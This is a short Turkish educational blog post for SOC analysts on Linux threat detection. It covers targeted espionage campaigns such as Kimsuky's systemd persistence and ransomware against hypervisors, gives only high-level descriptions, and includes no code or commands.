#STHM-Linux Tehdit Algılama 2 makalemizde, kripto madenci enfeksiyonları gibi “Hack and Forget” (ele geçir ve unut) saldırılarını incelemiştiniz. Bu tür saldırılar otomatiktir, kurbanın kim olduğu ile ilgilenmez ve nadiren Yetki Yükseltme (Privilege Escalation) gibi taktikler kullanır. Ancak belirli şirketleri veya devletleri hedef alan, çok daha karmaşık ve yıkıcı saldırılar da olabilir. İşte bu noktada, öğrendiğiniz tekniklere en çok bu zamanda ihtiyaç duyarsınız.
Linux makineleri genellikle güvenlik duvarı, web sunucusu, e-posta sunucusu veya diğer kamuya açık servisler olarak kullanılır. Altyapının %99’u Windows tabanlı olan organizasyonlarda bile, ele geçirilmiş tek bir Linux sunucusu kurumsal ağa giriş kapısı açabilir ve büyük bir etki (Impact) oluşturabilir. Bu nedenle, bir SOC analisti olarak tüm yaygın işletim sistemlerini nasıl güvence altına alacağınızı bilmeniz gerekir.
Casuslukta Linux (Linux in Espionage)
Linux makineleri hassas bilgiler barındırabilir veya kritik görev ağlarında kullanılabilir ve bu nedenle sıklıkla devlet destekli tehdit gruplarının hedefi haline gelir. Örneğin, bu casusluk kampanyasında Symantec makalesi Kimsuky APT grubu birden fazla önemli Linux hedefine arka kapı (backdoor) yerleştirmiştir. İlginç bir şekilde, daha önce öğrendiğiniz bir teknik olan systemd servis kalıcılığını (systemd service persistence) kullanmışlardır.
Ransomware’da Linux (Linux in Ransomware)
Linux ransomware (fidye yazılımları) giderek artmaktadır ve hipervizörler (hypervisors) önemli bir hedef haline gelmektedir. Şöyle bir senaryo düşünün: Şirketiniz yüzlerce Windows sanal makine (VM) çalıştırıyor ve bunların hepsi yalnızca üç adet Linux fiziksel sunucu (hipervizör) üzerinde bulunuyor. Eğer bu hipervizörler yeterince güvenli şekilde korunmazsa, tüm kurumsal sanal makineler risk altına girer. Saldırganların hipervizörleri nasıl ele geçirdiğine dair gerçek bir örnek için Varonis makalesini inceleyebilirsiniz.
Tehdit Tespiti Özeti (Threat Detection Recap)
Linux’un Windowsa kıyasla daha karmaşık olduğunu fark etmişsinizdir.Karmaşık olduğu kadarda en kritik güvenlik duvarları burda bulunur. MITRE ATT&CK matrisindeki en yaygın teknikleri ve şimdiye kadar öğrendiğimiz bütün tekniklerin hızlı bir özeti aşağıdadır
Okuduğunuz için teşekkür ederimCW-Ommah
Bug Researchers Tim Sundu...
Bug Researchers Tim Sundu...
